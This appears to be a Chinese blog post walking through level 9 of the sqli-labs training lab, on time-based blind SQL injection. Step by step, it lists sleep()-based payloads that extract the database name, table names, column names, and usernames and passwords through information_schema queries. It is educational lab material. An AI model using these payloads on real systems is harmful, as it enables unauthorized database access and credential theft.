当前位置: 首页 > news >正文

sqli-labs靶场 less 9

文章目录

  • sqli-labs靶场
    • less 9 时间盲注


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 9 时间盲注

  • 题目类型:
    这道题无回显,无报错,无真假页面,尝试考虑时间注入

判断闭合方式
直接使用单双引号括号等测试,页面无变化。在测试符号后面添加and sleep(3) --+,如果成功闭合前面的语句,则会执行sleep(3),利用延时注入的原理判断闭合方式
id=1’ and sleep(3) --+
在这里插入图片描述
在这里插入图片描述
构造轮子

id=1’ and if(1=1,sleep(3),sleep(1))–+

id=1’ and if(1=2,sleep(3),sleep(1))–+
在这里插入图片描述
在这里插入图片描述
猜解数据库长度:
id=1’ and if(length(database())=8,sleep(3),sleep(1))–+
在这里插入图片描述

猜解数据库名字:

id=1’ and if(mid((select database()),1,1)=‘a’,sleep(3),sleep(1))–+

报所有表的长度与所有表名 由于使用了group_concat,记得添加逗号(,)
id=1’ and if(length((select group_concat(table_name) from information_schema.tables where table_schema=‘security’))=29,sleep(2),sleep(1))–+

id=1’ and if(mid((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,1)=‘a’,sleep(2),sleep(1))–+
在这里插入图片描述
在这里插入图片描述

报users表中字段的长度与字段名–记得添加逗号(,):
id=1’ and if(length((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’))=20,sleep(2),sleep(1))–+
id=1’ and if(mid((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),1,1)=‘a’,sleep(2),sleep(1))–+

报users表中username与password–记得添加逗号(,):
id=1’ and if(length((select concat(username,password) from security.users limit 7,1))=10,sleep(2),sleep(1))–+
id=1’ and if(mid((select concat(username,password) from security.users limit 7,1),1,1)=‘a’,sleep(2),sleep(1))–+


http://www.dtcms.com/a/98843.html

相关文章:

  • Banner区域
  • Cursor 汉化教程
  • react学习
  • C++中的new、malloc、realloc、calloc——特点?函数原型?释放方式?区别?校招面试常问内容?
  • 中断管理常用API(四)
  • 马斯克:1130 亿美元的操作,X 网友:有点感觉被卖了…
  • 基于烟花算法(Fireworks Algorithm,FWA)及三次样条的机器人路径规划,50个场景任意选择,完整MATLAB代码
  • C语言学习笔记(抱佛脚版)
  • MyBatis基础三(注解开发)
  • 迅为iTOP-RK3576人工智能开发板Android 系统接口功能测试
  • 一阶谓词逻辑表示法、产生式表示法、框架表示法深度对比
  • stack的详细介绍,queue的详细介绍
  • 转发和重定向的区别详解
  • Java的string默认值
  • ffuf:一款高效灵活的Web模糊测试利器
  • 右值和右值引用【C++】
  • onlyoffice 多核心研究
  • 763划分字母区间解题记录
  • java基础:常见类和对象
  • 游戏被外挂攻破?金融数据遭篡改?AI反作弊系统实战方案(代码+详细步骤)
  • Linux|gitlab|二进制快速安装部署gitlab-ce教程
  • 19_20 js es6
  • std::countr_zero
  • 模型苏醒计划:Threejs 让静态模型「叛逆」起来
  • Java.util.logging (JUL) 终极指南:从基础配置到高级玩法
  • 外观模式_结构型_GOF23
  • 游戏引擎学习第192天
  • 第三卷:覆舟山决战(73-108回)正反人物群像
  • 习题1.43
  • 软件工程面试题(十一)